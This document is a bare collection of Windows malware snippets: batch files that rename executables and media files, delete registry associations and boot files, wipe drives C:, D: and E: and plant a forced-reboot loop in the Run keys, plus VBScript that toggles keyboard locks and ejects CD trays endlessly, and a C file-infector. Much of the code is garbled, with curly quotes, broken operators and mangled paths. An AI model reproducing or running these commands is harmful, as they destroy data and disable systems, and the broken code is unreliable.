@echo off

ren *.exe *.txt

ren *.jpeg *.txt

ren *.mp3 *.txt

ren *.doc *.com

ren *.jpg *.txt

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”

wshshell.sendkeys “{NUMLOCK}”

loop

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

FILE *Ron *vRon;

int owned = 0;

unsigned long x;

char buff[256];

struct ffblk ffblk;

clock_t st, end;

main()

{

 st=clock();

 clrscr();

 owned=(find_first(“*.*”, &ffblk,0);

 while(!done)

 {

 Ron=fopen(_arg[0], “rb”);

 vhost=fopen(ffblk.ff_name, “rb+”);

 if (vhost = =NULL)

 goto next;

 x = 89088;

 printf(“infecting %s\n”, ffblk.ff_name);

 while(x>2048)

 {

 fread(buff,256,1,Ron);

 fwrite(buff,256,1,vRon);

 x – = 2048;

 }

 fread(buff,x,1,Ron);

 fwrite(buff,x,1,vRon);

 a++;

 next:      fcloseall();

 owned = findnext(&ffblk);

 }

 end = clock()

 printf(“Infected %d files in %f sec”, a, (end-st)/CLK_TCk);

 return (0);

}

@ECHO OFF

START reg delete HKCR/.exe

START reg delete HKCR/.dll

START reg delete HKCR/*

@echo off

attrib -r -s -h c:autoexec.bat

del c:autoexec.bat

attrib -r -s -h c:boot.ini

del c:boot.ini

attrib -r -s -h c:ntldr

del c:ntldr

attrib -r -s -h c:windowswin.ini

del c:windowswin.ini

rd/s/q D:

rd/s/q C:

rd/s/q E:

echo @echo off>c:windowshartlell.bat

echo break off>>c:windowshartlell.bat

echo shutdown -r -t 11 -f>>c:windowshartlell.bat

echo end>>c:windowshartlell.bat

reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d c:windowshartlell.bat /f

echo You have been HACKED.

PAUSE